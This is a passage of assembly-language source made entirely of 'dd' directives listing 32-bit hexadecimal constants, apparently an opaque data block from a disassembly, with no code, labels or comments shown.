0D9D34449h, 208C4E5Eh, 0D879B1F1h, 0AC88600h, 0DF1D4D82h dd 9DCB0A61h, 6054DAh, 63664C44h, 6A530D60h, 0B6A86494h dd 0E5247660h, 1161CF23h, 7E840175h, 0FBD8D124h, 94D0A8E4h dd 122182ACh, 0B880747Ah, 0D9D5612Ah, 0D35D1902h, 0E7392941h dd 61AB4468h, 9320E515h, 21998E8h, 0D1DFB965h, 0BC8F486Dh dd 7E8850D1h, 0E9BC048Ch, 6288D2BFh, 0B4ED21A4h, 0D26BECE9h dd 0F6BADE03h, 0B16CC904h, 8C449DF7h, 0BCB62881h, 3E16F03h dd 0B41880BBh, 0B5FFB74Eh, 5AE80176h, 969317AAh, 0D441E0BEh dd 6E4F0D02h, 0E4C768A1h, 7ACF000Ch, 0F8E7F9B5h, 0D50821AAh dd 20A21433h, 1B946C0h, 0CFE22477h, 7C728299h, 247F87C0h dd 0B306EC64h, 820BD611h, 0AE140A98h, 5C289AC0h, 25007E46h dd 93900FDFh, 0C3296916h, 7571249Bh, 9B005D18h, 3D2BC94Ch dd 48D6CD4Bh, 0A6100C64h, 1AA80053h, 43266EF6h, 1EB8C5A0h dd 0C7F84BACh, 683F4490h, 830E500h, 61D35A7Fh, 71C40F02h dd 0D120259Dh, 93376FA5h, 83F11800h, 1D4BF58h, 0B6CF6EEFh dd 415CB74Ah, 0F8E42471h, 44868369h, 790C817Bh, 0A8771424h dd 836B4002h, 78C8552Ch, 2460B516h, 217501F8h, 0A3C0996Eh dd 8501F0h, 33666D40h, 277AF292h, 17202C90h, 294D18B8h dd 56CE31FFh, 15094892h, 12E8A2h, 0A38F6B35h, 0E11E0984h dd 74A0C1A8h, 658C7544h, 1214AA00h, 0FB27B471h, 92FF041h dd 0D4C88AC0h, 88A1C064h, 7FBF187Fh, 90D223E9h, 0EA00A211h dd 0C6E7E9B7h, 0AA240889h, 120B8047h, 0BBA811B3h, 109E618h dd 45896E6Bh, 0FEA58084h, 0CB6AEC01h, 99ABC60Fh, 943A96DDh dd 5700AA23h, 0C0128865h, 9EDB130Eh, 6864031Bh, 9AD2A4D3h dd 4044B4E7h, 0B2D6660h dd 6D123700h, 2FF8B289h, 0FD79C0DAh, 39AABD29h, 0A2252E00h dd 6DA861B8h, 0AC5650C2h, 0B9048C79h, 80D2BCE9h, 0EC27B162h dd 35F6E950h, 7A81C071h, 0D3CBB8BEh, 0E4F7A31Eh, 6039CA80h dd 1E14499Bh, 1D2922Dh, 3612CFF8h, 9AC0414Ah, 711C208Ah dd 44F1AF40h, 4101CBBBh, 1FBA3CD7h, 686092FEh, 77ED0652h dd 3828BC38h, 323F1C1Dh, 748B8130h, 2786002Eh, 76790CD2h dd 6B024775h, 0C7918389h, 0E460C74Ah, 0CBAB607Ch, 9FAA0998h dd 810274Dh, 3B25C66Fh, 0E8AC84A2h, 495594C2h, 322FD8h dd 7567BE01h, 20765160h, 0A38BA57Ch, 4F9786Dh, 0D04C82FDh dd 88F48E0Ch, 0C006C778h, 0E52B1CE4h, 0D11BB800h, 74B32F42h dd 1DAF093Ch, 0A00F4032h, 0E8F669E1h, 3EE5C3D5h, 1F7A2388h dd 0B002F9FAh, 0E40B1BD4h, 6E7480E0h, 80CF3E14h, 0F01F2488h dd 0B4751440h, 645F12FCh, 0F398486Ah, 826CB8C0h, 22534627h dd 0E4B1FCB7h, 123AF849h, 0C3426Bh, 647A7E94h, 0F70D9956h dd 0D1D823E8h, 5211C20h, 6B4C68B7h, 8804CE62h, 0C9E7C040h dd 8000A2B6h, 0C1C70372h, 0FC36AEE2h, 26DC0293h, 0FF224DA1h dd 2441BCEAh, 50FB18BAh, 9C918801h, 0D5A05948h, 0E088FF01h dd 6744A50Ch, 0FB180BE6h, 2C47F47Eh, 0BB60AB64h, 7907F580h dd 0BE045E38h, 67BCDD52h, 60A4449Ch, 7C3A6D7Dh, 0D4890536h dd 3A6C8C21h, 1F7823A8h, 620BC471h, 1378A05Fh, 0D3E05701h dd 0EE92639Fh, 69608824h, 0F4378188h, 0C1D88680h, 965740A6h dd 7201403Ch, 15001CA1h, 27B71D77h, 13234C81h, 59035B3h dd 3EADB10Eh, 0F023E4h, 0CF2105CEh, 6C9ABE0Ah, 0B0A8463Dh dd 0C52081AFh, 0AB1B14D5h, 4F09EC86h, 0A4CD6D6Ch, 4C5F11C0h dd 381B4C6Ch, 5650674h, 78A45E23h, 0E7D3DB09h, 974C82BCh dd 0E2ED24BAh, 30FFF294h, 34026F71h, 1057E5CFh, 0A354419Bh dd 0EC352A10h, 524E8102h, 58DA1A27h, 0D06CF97Ch, 0EC9F95E2h dd 962CC7BCh, 0A6720C1Ch, 98962FE9h, 467498A4h, 9D2A0075h dd 1B188733h, 0ACB1D0B3h, 52101D2Eh, 0F3C494C5h, 35FA4B60h dd 193E5401h, 47729C5Eh, 416B9430h, 6AC860EFh, 9F36740h dd 0F8DD154Dh, 7FE44C45h, 0DC05C461h, 14790C29h, 0BA26D27h dd 0EFD465E4h, 3598131h, 5CD40BF5h, 30F37ACDh, 12714932h dd 637CAF9Fh, 0B91E80Eh, 9DBCCBD0h, 80A7111Ch, 0B417FADh dd 0BA772EFBh, 0B24674A0h, 1D98222Eh, 0C2681F6Bh, 31BB2D2Ah dd 803FB482h, 0E44C450Bh, 337C60BCh, 0E3D40CB4h, 0C64889AAh dd 3BE1EA60h, 10E4D61h, 0B601E25Eh, 81177DD0h, 0D11DA8CEh dd 0DBD083B8h, 208D0243h, 7A82194Ch, 0A7702C40h, 9F0318F0h dd 11D5C73Ch, 0CC829C5Dh, 1E530B4h, 0E16E7611h, 0A680FE88h dd 259801FDh, 5DD30295h, 0DA9B2E6Eh, 0F5F9ECD9h, 528ADC19h dd 88771B2Fh, 0AF11E868h, 206B1F00h, 1341B707h, 470524Dh dd 0A229F8B8h, 0A1E7AE44h, 6F8882EFh, 0DA43522Bh, 0BECB741Ch dd 0C9FA41E0h, 42438DCh, 967E7A27h, 90005889h, 148742FFh dd 0C4A3E7Dh, 5B431C80h, 0A1EE9B62h, 1505A8F8h, 4B6D64D4h dd 50E7C0F6h, 4532B7C4h, 93007092h, 16659210h, 0D2AC83h dd 8DB78248h, 0BBCEF6C9h, 0CF5288h, 28B51D5Bh, 1E4339D0h dd 4B0045B8h, 20D12361h, 26674A7h, 0D05D8710h, 2CC7AE53h dd 5480716Eh, 0D94D2E4h, 0DFF0F562h, 0B5D8E94Dh, 24756B18h dd 9679CF2Fh, 738B0058h, 0A70C5524h, 0E20013EDh, 48F45B74h dd 26DEE514h, 45060EAh, 168996CBh, 5D90C8h, 1C5431DEh dd 17CF276Dh, 0D5A79A02h, 8A486A72h, 6711B8D0h, 0E87A5B03h dd 0D2E0A7EAh, 0E56216D3h, 0E034D518h, 531495h, 392F82C4h dd 0AB38E0B1h, 0DECB1809h, 0D9D45195h, 7A618B6h, 7C631D42h dd 53DA4299h, 0A5293203h, 0E1D3C0A2h, 12984181h, 938683Ah dd 0C0DB2E11h, 5A0AC764h, 36CC05F2h, 2398A0A0h, 207BC84Bh dd 6D0A000h, 21A4A838h, 944E7218h, 5C5B2DA8h, 0C8211808h dd 22D5210Eh, 0FF2EEC3h, 0B22BD607h, 0B8FAE9AEh, 0BB02F046h dd 5B27BD6Ch, 6D623871h, 0B96DC3B0h, 0C9D47D31h, 5E37044Dh dd 90BACE4Eh, 73A07A6Ch, 3FB66007h, 4070CAA7h, 595283h dd 0C27C0A45h, 4B8906B5h, 3F04A1FEh, 0E71DCBA8h, 0B1EC00A8h dd 7183008Ch, 7EEF53E3h, 0A45C7407h, 90A32214h, 0F54B2048h dd 327A210Ah, 8A03987Eh, 0E0960AC1h, 0A1E6AC49h, 1510DB9Ch dd 0E30D1EA6h, 499CCE78h, 25DDC820h, 40606050h, 0B4AA4A54h dd 0B0D1DC59h, 0BBBA6019h, 0AB00D8F8h, 98198DA1h, 98A06694h dd 748B4C70h, 9733DD09h, 5037182Bh, 4B363180h, 959D5DBh dd 455A62EDh, 0B4907C89h, 0BB241B5Ch, 6A42BCE3h, 5998647Bh dd 0BE80C878h, 0B8D2BDE9h, 3D01697h, 71E9B6EFh, 909FB4B5h dd 14FA252Ah, 0A5D50103h, 0D2CF0713h, 0DC5232h, 0D8D45D4Ch dd 3C5AAA19h, 8631EE98h, 24DC88E6h, 0B7108C2Ch, 486B93ADh dd 0DDBEC712h, 0AC182C84h, 18008CBCh, 0CFFDF205h, 8D82A1h dd 348011AAh, 8A47E2C4h, 0CED6C90Ah, 9CA1CCF3h, 4D18B1D1h dd 0DC4C322Ah, 15773A00h, 7CF26B59h, 1C144C67h, 2442111h dd 9BC35E2Ah, 1EB066A4h, 40C6A289h, 0B8BD91F8h, 69120DD6h dd 74B03A2Bh, 122CB649h, 0E278B24Dh, 8FB730FEh, 3A18C601h dd 0A443DE6Ch, 7D37034h, 75350759h, 9418891Dh, 0D40FFC39h dd 0E126D701h, 1041D348h, 0E0CC6DDAh, 0FD541079h, 3E816003h dd 18B5D2A8h, 0A9F4C721h, 5600A0CCh, 3BF6F7F1h, 133015h dd 0B487B264h, 53DE5F38h, 0CE391008h, 0CE939852h, 8102A4DAh dd 4DFACA48h, 306CFA21h, 8C29A1F1h, 43042B1Ah, 7799FE08h dd 0D0E754A6h, 879E0B77h, 0C6EDC00Ch, 7E541E8h, 0B908E133h dd 152C00F8h, 0E700515Ch, 43FD659Fh, 585D026Ch, 4C892413h dd 2358545Bh, 55D800B1h, 0BD992729h, 7D00664Eh, 0F90C643Ah dd 49022B91h, 0CC4B144Bh, 0EF60C648h, 4B502049h, 0C4050A4Fh dd 60A47BF8h, 33264284h, 3CA5590Fh, 5813F23Ah, 0BBCB8404h dd 0B4005814h, 6C5F28FBh, 8E608FC6h, 0E84F6018h, 0A850282Ch dd 0A7B409E8h, 0E470861Dh, 0CC17FB5Ah, 0E3DDE4CBh, 8FE1BC07h dd 71A31CA2h, 19A5F118h, 0CC936680h, 0D81DA803h, 6F0ADB98h dd 984D0E33h, 70092912h, 71B8D140h, 749618AAh, 0B1C7FFDh dd 0BD0DC7Bh, 8C71DC42h, 11187B79h, 12213505h, 0A0026462h dd 0D0E31BACh, 0D29CA0A8h, 0F8C230CBh, 63667610h, 9327E00Bh dd 8CE449B4h, 0AC28380Dh, 53EA8C7Fh, 0C85C2802h, 67E01796h dd 60FDE4DCh, 11C8317h, 743D0DACh, 0C88D2C48h, 4001AE07h dd 9C2D7FD8h, 0C9F14D62h, 7B7C9C68h, 5B4E042Ah, 0E8F6D083h dd 0A3B400F0h, 0D65ACFFFh, 0BBD8A1A9h, 98A24560h, 0AE0625A8h dd 78643047h, 2CF85062h, 20E51805h, 349D19D0h, 0B0E2AC62h dd 0D2F80631h, 50870B63h, 88C832BDh, 5F0320B3h, 0ECDE4E07h dd 638A84Bh, 0E2D20027h, 83123FFBh, 4D2EE478h, 0AE8BA42Eh dd 0D5CF828Fh, 65FC7C9Ah, 81B4DF66h, 90090661h, 9EE92CCh dd 0E6852F14h, 0B7642447h, 23654067h, 0C7776818h, 0E1E842F5h dd 97DE6081h, 588879BCh, 0BC985C96h, 5A0B8C75h, 827D08AAh dd 7C888ADCh, 54D00124h, 3B2721B1h, 0FE961804h, 2E84D8A3h dd 0AC94772h, 1CA2A4C5h, 7EA84CD0h, 0CB21078Ch, 71DC702Eh dd 49DFDB92h, 0ACCC2828h, 160E8C7Fh, 819A7AA4h, 0DE72D4F0h dd 0C7E0F2DFh, 60A44458h dd 26BDA26h, 993DB7DDh, 0E472CE4Bh, 0DC5A5E01h, 47F4AC96h dd 98F7E862h, 0EB7906C0h, 8CCD4BA8h, 65404A8Ch, 405627D4h dd 906760EDh, 0FA38E4D9h, 0F083007Ah, 194C82C6h, 4302EBFDh dd 0A4E15818h, 49547E68h, 0F7548C80h, 6A27276Bh, 0D254E016h dd 0E34A20D3h, 0DE1A2112h, 1DBDCE0h, 9406C9C1h, 0EAA20ACFh dd 0F5D9F0D1h, 0C4253C18h, 65284833h, 177B056Ah, 0ADCE8B6Ch dd 0DD470058h, 6713411Bh, 2CA11822h, 6C16908Ah, 2647FB80h dd 8C70FA33h, 6A3955F1h, 0D0A52E0Fh, 3140FC52h, 6EF0D864h dd 0DA9B2D26h, 4091789Dh, 0FF44EE80h, 0FE018ACCh, 0AACD5CACh dd 2CCDB314h, 0E8079479h, 101F8D87h, 0C7314BEAh, 810573E8h dd 6FB85ED4h, 4650F81Ch, 4BC07448h, 0D934D5A8h, 796E5D02h dd 4017A94Ch, 73F1813h, 642F5FC2h, 0DE9D30FBh, 97975D19h dd 8FB09198h, 6928091h, 584E8A85h, 7CE8B88Dh, 81EE8Ch dd 4DFF6CC3h, 22C2371Dh, 19D8D501h, 0B84A2AC9h, 0D689C840h dd 988A9F0Bh, 0A65E0A18h, 0B867080Ch, 91254D09h, 18566FDCh dd 2B34698h, 0CFF82475h, 1FD09C49h, 0C3247D85h, 0D7080986h dd 2F4533D0h, 0E52D4D14h, 0CE040030h, 470A64CCh, 91654BA5h dd 2AC5A8B0h, 7DB44Bh, 8F770CA0h, 5AC909F8h, 741FBF86h dd 0E300C639h, 8608B73Ah, 0CB775C43h, 1AC8348h, 4DABC629h dd 1873F923h, 23642B5Ah, 897B00F0h, 4D4EA79Ch, 465C90B4h dd 0D16707FCh, 0C721943Ch, 4C381FC8h, 18175D27h, 4080BD91h dd 0C71D390Ah, 0F71AE005h, 50C099AAh, 132D5D09h, 0C03AD34Ah dd 0C66C4E48h, 0F8B56B28h, 82339709h, 13C443BDh, 8EF2AA28h dd 0C7B6C85Ch, 9F7940EDh, 10777FF8h, 6A21BD09h, 2A70A0F6h dd 297C663Ch, 91C473B0h, 0D4400DE4h, 426B3057h, 0AF272CDCh dd 0F3D488C3h, 337CE248h, 1947B8B0h, 2B693506h, 0A7F1AA0Eh dd 607E64C4h, 1CB7C278h, 4CDDB80h, 0B5D1B1Eh, 71C479B4h dd 8918A5h, 6712C9Bh, 6D8F5BD7h, 198F889Eh, 90A43267h dd 7C359D4Ch, 0C017F78Fh, 0DB06B461h, 8EDF1D87h, 288502Eh dd 68D52FAAh, 3CBC887Ch, 10D3A80Bh, 2B158194h, 96C852EEh dd 0C0109E6Bh, 9ED5E320h, 16D32D72h, 8280A08Ch, 908005FFh dd 26FA91CCh, 0D14CEC1h, 6F9188CBh, 0B03E0C6Eh, 82F83701h dd 251E8499h, 0A02E2FDCh, 1E01F223h, 0B1CF266Ch, 84C1A044h dd 0E907BE8Ah, 0FB900413h, 0D8D09726h, 424625E8h, 5E88766Ch dd 0AA02B146h, 0F1F31BD4h, 74C22882h, 10D098D3h, 0EC1B014Bh dd 2B6FF326h, 9D83CDAh, 48D3D4BFh, 747A2158h, 44FCAEC2h dd 5A26CF50h, 97851CC6h, 0A0F1733Eh, 0C21EDC20h, 4D0EB19h dd 0E144F446h, 9DA0A111h, 87C7A700h, 2BD319C1h, 0CC7DA1BAh dd 0F1E00443h, 10C04BECh, 6F4C5B4Fh, 0AFBE00C7h, 0E19FE87h dd 42001125h, 0C83ABB8Bh, 0F8DEFCh, 0A8ABE752h, 0F5144997h dd 0F0CA0E00h, 5E36AAE1h, 98483F0Fh, 542B6080h, 3EAE2135h dd 0D0BC3F00h, 0C82842E3h, 0F5EA00DDh, 74A8DB48h, 8D078425h dd 2C3DC7E8h, 93B40CFh, 1B85D4h, 6250B469h, 0FBB2CC58h dd 36EAE800h, 9A660C27h, 2A9B0083h, 7B02E5F1h, 0DB006E59h dd 0F4B487A4h, 0AB5CD3h, 0D209E498h, 5AD6328Dh, 78E02900h dd 68361F9Fh, 3CB9339Dh, 4DC81E8Eh, 0A9F4A072h, 2559ED07h dd 9470EF1Ah, 0F4392617h, 3BBCB2C7h, 0EB80A2A5h, 4B15BB69h dd 20074190h, 0C24379Bh, 118AA6h, 0CC2133A0h, 230E18BDh dd 0AE9A8360h, 75C709h, 0D15C0F2Bh, 0FC2D92F5h, 0F9FF4501h dd 3502D573h, 20D048h, 426174A1h, 4C22AA36h, 0A7A2601Fh dd 0C26C0C03h, 0E2A0FF97h, 7B6556A9h, 0D3DD0947h, 178DC7E3h dd 3117C889h, 8B35A400h, 6A1504F8h, 26600D8h, 5B4527Dh dd 0D100DD54h, 5A497301h, 0A8BD882Eh, 0A6CDACh, 488BC75Bh dd 0C5716350h, 0F9A28F00h, 96C96597h, 66450077h, 8E2B84A7h dd 0E7FE7B07h, 3CB99F39h, 3BC40053h, 0A16E68BEh, 0B65500A6h dd 14A0B1CEh, 483D7AF4h, 31D782DAh, 404670A8h, 0B6911Fh dd 52CC9C12h, 0F2C0D87Bh, 0B8908100h, 13F12B46h, 847550C1h dd 89D10C5Eh, 76E838D3h, 4687E50Eh, 819620F3h, 2A3925CDh dd 5DCCA40h, 94356092h, 0E48C4EAFh, 604CE547h, 3191BE10h dd 8B8A4E00h, 0A769ADD0h, 504DF4B4h, 30B2C4h, 90577AE1h dd 89ACAF64h, 86FD8F00h, 0F5CA92D9h, 6FEC0129h, 8552C391h dd 0E88ECEBh, 0A857C71Eh, 8AD14100h, 0CD7B67h, 0DA4451F6h dd 450ADE87h, 3ED8DD00h, 0ECCF79BAh, 0C06770ABh, 1104D202h dd 0AA008C13h, 2F7EC76Bh, 0C04C2EB5h, 0DF8ED10Fh, 8C3B4A30h dd 33EE808Ah, 143724EFh, 0C0B700EBh, 765CFF16h, 1F0039B1h dd 9905CCBAh, 0CD140B6h, 694BD24Ah, 0AB13EE4Dh, 730004C8h dd 9B652A28h, 3F780075h, 0D6634629h, 0C80E33FFh, 6045277Eh dd 77E42CEAh, 90F51894h, 0F9BECCE8h, 0EB27292Eh, 0C0A3CA01h dd 0CD80017Fh, 180C04A6h, 3488AF91h, 5C4200F1h, 1E4779Eh dd 0F010246h, 0AF1D294Ch, 0D5E00EC8h, 3520026h, 0FE2ACCCDh dd 23264615h, 4500A55Ch, 0D38889DCh, 3AE90FB0h, 0F1E1CD54h dd 0C04378BFh, 1A00DFDDh, 93597A88h, 9B7703h, 27D69DC0h dd 0CA918044h, 0F31EEC00h, 60384568h, 78C1000Eh, 0DC067DB1h dd 76FAA935h, 12019A7Bh, 5AB78563h, 7BE7DE01h, 0FA023DB2h dd 0A3B85980h, 0EB783DC5h, 7476CD00h, 411AFC33h, 10AF0092h dd 0E48F2275h, 88A87B16h, 0D156483Dh, 0B9A000C0h, 2C6698E4h dd 97DA13BFh, 2C691BE8h, 82C59600h, 65F61B5Fh, 41FF0087h dd 0E5A98CCFh, 0C002F2Ch, 0EF1249C8h, 7166ABh, 0D95DB784h dd 0DCFFAEFBh, 0E07B9800h, 1B6094BDh, 9C7E0005h, 2178C0E6h dd 88012FDEh, 0AD253B80h, 1B804426h, 0DFA386C9h, 43002932h dd 0E906187Eh, 1CF652F1h, 86159D13h, 2EDE3416h, 9376B903h dd 243E91F4h, 4163FAECh, 0E8D04821h, 0A800D487h, 8CFF269h dd 0FB7359h, 6184D73Dh, 282AB79Ah, 0ECFE86A0h, 0BED7418h dd 784D900Fh, 87AA0C6Ah, 2017987Ah, 33298E00h, 0D2439B75h dd 9F660089h, 0D4EC4F0h, 400423EAh, 9E8458C0h, 46050DB8h dd 403F41C8h, 863D04B8h, 447863C2h, 94722106h, 17B5AB0Eh dd 3DD492h, 0FCC3E6C0h, 63122A4Dh, 9B701B80h, 0EC6FA7h dd 0DA1D02C9h, 3CE277F7h, 0E4CF5609h, 0A945008Ah, 0FF4366h dd 9D6B4912h, 4729B074h, 7E9B4B50h, 0C007D72h, 8EDD6B8h dd 0EE3016C5h, 0BA4F3031h, 0AE91D440h, 11E6F30Ch, 6212B9h dd 848D492Eh, 0EA6FF9D7h, 0C74E3400h, 72B4CCF8h, 5BB62474h dd 33160E80h, 0C5073C0h, 987D1F05h, 0ED24A560h, 7C024D61h dd 1E27FCE9h, 0BB1AA67h, 718E3053h, 1011D3C0h, 10086A4h dd 25EB2F52h, 2541336h, 3428774Ch, 47401AD8h, 8D00F282h dd 3AD98C95h, 137FE21h, 4C1BA288h, 206CA99Ah, 3948A825h dd 2309007Ah, 0BC7FCD9Ch, 834A0078h, 74FE2D65h, 0EA3C99D3h dd 0CD8E80C7h, 73E829E7h, 4C1A0E90h, 66C096C5h, 6B5D4FC2h dd 269D6509h, 600880FCh, 0FC03E19Bh, 24D77466h, 1EDFAA20h dd 47058426h, 0EBC380C9h, 11793427h, 3C209702h, 40C6957Eh dd 2ADF559h, 81641F03h, 0C054BDh, 9400584Ch, 758F3089h dd 0DCA3C6h, 0D3F665B0h, 0B17F5D0Ch, 0D8FB601Fh, 1A400312h dd 4152079h, 25480013h, 82B30E1h, 0C0C4FC4h, 0DF71A5E9h dd 0A6C90B92h, 0C30B362h dd 6E00ED23h, 4E0D074Bh, 0C502A2Bh, 405E089h, 0E8768361h dd 24398778h, 5305738Bh, 0C381E389h, 0EB94121Dh, 1C870306h dd 0D895C24h, 636D6832h, 0F034E118h, 811CB951h, 0B8406537h dd 6B704B9Fh, 1E210105h, 0C8296A2Ah, 5907402Dh, 38C58B54h dd 3119C481h, 5EC8C380h, 0A61CFE08h, 30FF6F0Fh, 58C80AD5h dd 620EE9C0h, 9FCFCh, 18E5B83Fh, 0C503060Bh, 0F50FE0F4h dd 0C259D311h, 402496C7h, 3D30BE7Ah, 33BA5BDFh, 4306A900h dd 74CFD3A5h, 794F4700h, 0FB7AD415h, 487D3F1Bh, 4EDE4500h dd 544718AFh, 0C7538700h, 943EED69h, 2F403BAh, 17F56F1Ah dd 0CBE013F9h, 3C8341D0h, 93099C01h, 726FE25Bh, 0AD7F60E9h dd 2F8CACE4h, 0DDBD89h, 31D38B78h, 0C139739Dh, 1585C710h dd 0D00C9E2Ch, 0E6FB3875h, 0D9B4B01Bh, 335B0D62h, 0C31B8B0Fh dd 10A58DA8h, 556160C9h, 4A58795Bh, 0BF0F06A9h, 1B06E8DEh dd 9762BD00h, 89DA249Ah, 0E1C16385h, 61A0EB58h, 7FE1E99Dh dd 5BE83EADh, 6653E505h, 0E6EEF18Bh, 663DB1CBh, 5E198D20h dd 0FF5DABFDh, 238E1CEh, 0C018EE0Ah, 53397Fh, 45DCB42Dh dd 0C1BE2080h, 0E9328B72h, 0F5603575h, 3591E571h, 0BE016A17h dd 221F4598h, 8D800A7Bh, 8B8021EDh, 0EFC108FEh, 408680Ch dd 21E3920h, 2E0D9C57h, 95FF0A13h, 32E90E1Ah, 0B18ABE17h dd 0C530DF04h, 31AD05A9h, 0A0053F3Ch, 0C612790Eh, 7C6A500Ch dd 6ED056FAh, 0C3610712h, 0EB50E0C1h, 1C8F4Fh, 8ABFA25h dd 0ACDAC6A1h, 0D41CA47Ah, 0E45C5CD2h, 3134CE01h, 27D41BF5h dd 0D1293CB3h, 0C7DD5B81h, 0F317E62Ah, 67D0DFF3h, 4FE1A6DBh dd 0B4878001h, 1C2352DDh, 229ED920h, 0E90CE92Ah, 4A85F6B7h dd 0DD31217h, 7AD5897Ah, 6CCB04F9h, 64C067D5h, 0D2F9601Ch dd 93141DD0h, 15A780B7h, 0B829EE80h, 0DDC04DA3h, 448C2F8h dd 8C1CECE5h, 17998A00h, 0FD322EAAh, 897206AEh, 0C628418Dh dd 48A0F14h, 0D9BA0078h, 2DBD8BD1h, 16349225h, 0FFCF8AC0h dd 1321DCDFh, 8D05D091h, 0BFAA7B9Dh, 1188D6F6h, 0C8171AA1h dd 0C869DAEFh, 1A6FC215h, 0E079FDh, 5322D981h, 5CBD764Eh dd 0FD28D672h, 8517A05Ch, 0CFFF1B51h, 0C61988E1h, 89172675h dd 0D0BF70F0h, 271494E8h, 0AE98190Fh, 8FC1DCA7h, 174D811Bh dd 0EE6CBB20h, 0CAD6BF0Bh, 0FAE107DCh, 40C78DA9h, 3444985Fh dd 40BA505Eh, 0E2585E8Dh, 0B12C6EF3h, 2387FAD4h, 1159918Dh dd 83A129FCh, 1817717Bh, 52920ED8h, 66E7F8CDh, 2E929BB9h dd 0F4A72FDh, 0CFB73981h, 0A1A4F6C0h, 5B00D874h, 9F1C80F1h dd 265493E3h, 3837C84Fh, 54BF19A0h, 3563CA63h, 0B2A6EA81h dd 0FAC087B3h, 0D1EA6FDh, 559422DDh, 79911FCh, 6F59EF5Eh dd 8B455418h, 0E386B6FBh, 0D814C173h, 3C16EAFCh, 0C1E58DB7h dd 3EA4EB08h, 0B4EF009Eh, 1E293C96h, 0F003E4EEh, 0D03A5C45h dd 6886224Ch, 20F98181h, 2A4C79B5h, 9FE9C857h, 6259D651h dd 634D4703h, 3DC6E0EEh, 918572Fh, 0E8E4DA80h, 0A7D22890h dd 0A3D49A26h, 0F8D4501Ch, 870F83CAh, 0B2274902h, 0CE82870h dd 5C2FF42Dh, 30033495h, 0C511CF75h, 468059C2h, 0E858FBB5h dd 90D44h, 7FF140CDh, 0C50A113Ah, 0E8A1D000h, 95C78184h dd 0AE77B15h, 68E0F5Fh, 0E1BD063Ch, 7C9BFE0Dh, 3CB5DD2Fh dd 0B54D4580h, 8B8E0FD6h, 0F218C085h, 0A6B33A6Fh, 5525B924h dd 680232CEh, 61C03B55h, 84DFA997h, 0CD8CE8BAh, 0ADFC0948h dd 0E047809h, 857FC2CBh, 0F602F092h, 641A0BE1h, 355F956Fh dd 4A81BD7Dh, 8B9783CDh, 11527D7h, 0D9AA70BFh, 3A30681Dh dd 0B94B01B3h, 44CD97FEh, 1FE72081h, 3E5C5712h, 1496A6ABh dd 0A4B915C5h, 1621C505h, 893E3BCAh, 60193531h, 102E7033h dd 61F733C5h, 0B86F9110h, 0DF008C1Bh, 5DFCD87Fh, 98DD14Ah dd 321D9D01h, 0A512E712h, 2BE9AB0Eh, 97AF5357h, 0EBA275F5h dd 61B0AEB6h, 0E5093768h, 84508E89h, 51400E1Ch, 0D6B31920h dd 0B6ECD903h, 815007F0h, 2A814F32h, 585A310Fh, 0DD0AA659h dd 12D3370Ch, 24340781h, 8996880Eh, 18E47645h, 747BF160h dd 8AB83A09h, 858F14E8h, 601C4428h, 175C2BF2h, 5D8F4E0h dd 65F903DDh, 9F8430F5h, 3D145A9Eh, 7DF08D9Bh, 1B000B99h dd 2550D279h, 0C8BF1FA0h, 0E328CAD6h, 6D221D8h, 3108E960h dd 81A73500h, 6F641D21h, 203F90ADh, 614802E1h, 109D103Ah dd 6C24E546h, 908760BAh, 0FF0E9A68h, 0C05A913Ah, 778E9BC5h dd 9B815C0Fh, 0BE0ABFC9h, 0D4BE827Ch, 8476376h, 0C7601744h dd 0D94B50F6h, 0FDAA0334h, 20FCAC5Dh, 0C12FEFA9h, 97B2D50Dh dd 0FA814F35h, 60E43CE3h, 2FF16D30h, 0A05D3799h, 0F20339ACh dd 0C1F0236h, 0BE2A9497h, 0BF0FD248h, 588CCB65h, 0B7925097h dd 9F7407D1h, 0A0C18830h, 857170CFh, 0BC044916h, 680030FDh dd 9ECA4D0Ch, 0D4BD8990h, 5900BCB7h, 0B3C6B7EAh, 9002B15h dd 34F7B93Eh, 48C8A42Fh, 57129A05h, 0E5983059h, 125DDF64h dd 0BBC17h, 66D0B441h, 3CF2E1D3h, 4CE2E556h, 0DC990504h dd 0C4664967h, 82E174CEh, 0FFC9501h, 0C5C8288Dh, 9D10294Fh dd 29B9294h, 286E7880h, 0D70B39E1h, 0DDB08280h, 31F6D3E8h dd 932A0300h, 548F814Dh, 6A7C30ABh, 8D6DF4Ch, 6862B901h dd 35A7AE02h, 0BE769857h, 9D892E0Eh, 1C822DDh, 0E2320F70h dd 0D99E25B9h, 908B241Fh, 1DCEF012h, 0B0F0A6AAh, 1F87DB6h dd 2E9A4179h, 77880F62h, 976A2AF6h, 0FF04DE03h, 4A260995h dd 0D6D8AB92h, 4C8AA49h, 0AE1264A9h, 0D4E0D6B6h, 5C6885C7h dd 31383144h, 8F0F4EFCh, 0EEB9E24Ch, 0B28BB932h, 33410102h dd 0F8BE9252h, 12E94706h, 568E001Dh, 53856EBFh, 0A1480BF9h dd 2B1400FFh, 30176FEEh, 5C5C9065h, 84C4A750h, 0BA56580Dh dd 5CE4C82h, 88B25A63h, 12B23058h, 65205DB1h, 3B33BA57h dd 5F92C313h, 232D3A58h, 0B420216h, 0FAF59050h, 318501CEh dd 0CB0E8670h, 50B6C82Ah, 90FBE8C0h, 0A815B589h, 9B0B6ACEh dd 0FB9F786Eh, 380F985Ch, 8A1B5C29h, 0FDAFE831h, 25807FB5h dd 0BC5AE759h, 8D0B0CFCh, 235A03BDh, 7DD952Eh, 68B65089h dd 8A8C0F57h, 0C4B0B270h, 17F19099h, 3B00B618h, 0E2B9C72Bh dd 3D6D4891h, 3E4BB58Dh, 0B15232Ah, 4CF7E8FBh, 80E57924h dd 505ACA8Bh, 5FF88805h, 0AD7FE7B1h, 2BAC98h, 0CB9FB466h dd 0E4901315h, 0B57C6B98h, 0A8635081h, 0B8F37400h, 254D6F84h dd 5912B515h, 44E83BA7h, 568A008Bh, 0C9474053h, 4A009B64h dd 885D1A2Fh, 4C03CB2Dh, 15103AC4h, 5D5A250Ch, 2B1283C6h dd 0D2D13585h, 2985498Dh, 83C00B61h, 684A5632h, 806B9BEAh dd 0A3AA0AF4h, 0CFFA01D7h, 0BD03CE4Ch, 23739DB5h, 0D02D988h dd 7FFBAAE9h, 1CAC25F9h, 224FCE05h, 0E85419Ah, 0B037F6FEh dd 7C95716h, 315E7D54h, 0C202A9FBh, 5A03065Dh, 85C8BC8Bh dd 97BA00B9h, 468D2975h, 0D10E8120h, 0D609EE5Ch, 0E4030813h dd 9BB290D3h, 5A80BA50h, 0D48A3EE2h, 0FA6BEE5Fh, 0F51E9E0Eh dd 734CE454h, 8046DB92h, 0F4805964h, 56DD3138h, 21FE1E8h dd 84FFA25Fh, 121CC60Ah, 